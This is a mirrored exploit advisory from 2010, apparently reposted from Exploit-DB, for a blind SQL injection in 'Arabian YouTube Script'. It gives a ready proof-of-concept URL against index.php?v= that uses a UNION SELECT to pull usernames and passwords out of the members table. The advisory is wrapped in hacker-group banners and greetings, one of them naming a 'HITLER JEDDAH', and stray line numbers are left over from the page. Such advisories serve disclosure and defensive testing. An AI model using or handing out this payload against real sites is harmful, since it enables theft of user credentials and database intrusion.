Arabian YouTube Script – Blind SQL Injection - 体验盒子

作者： R3d-D3V!L

日期： 2010-11-19

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/15574/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-{In The Name Of Allah The Mercifull}-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

[~] Tybe: blind SQL Injection Vulnerabilities

[~] Vendor: www.4smart.net

[+] Software: arabian youtube script

[+] author: ((R3d-D3v!L))

[~]

[+] TEAM: Xp10_hACKEr

[~]

[?] contact: X[at]hotmail.co.jp

[-]

[?] Date: 15.nov.2010

[?] T!ME: 03:04 am CMT

[?] Home: WwW.XP10.COM

[?]

======================================================================================

# SQL Injection # index.php v=

======================================================================================

[*] Err0r C0N50L3:

http://127.0.0.1/clip/index.php?v= {EV!L EXPLO!T}

[*] prove of concept= {EV!L EXPLO!T}=

www.Xp10.CoM/clip/index.php?v=11+and+1=0+union+select+1,concat%28uname,passwd%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+members--

[~]-----------------------------{((MAGOUSH-87))}------------------------------------------------

#

[~] Greetz tO: [dolly &MERNA &hetlar jeddaH &po!S!ON Sc0rp!0N &JASM!N &MARWA & mAG0ush-1987] #

#

[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ #

#

[~] spechial thanks : ((HITLER JEDDAH & rootshell& DR.DAShER& abo shahd &abo mohammed)) ALL XP10 MEMbers #

#

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((R3d D3v!L<---&--->JUPA<---aNd--->Devil ro0t)) #

#

[~]spechial FR!ND: XP10.COM #

#

[~] !'M 4R48!4N 3XPL0!73R. #

#

[~]{[(D!R 4ll 0R D!E)]}; #

#

[~]---------------------------------------------------------------------------------------------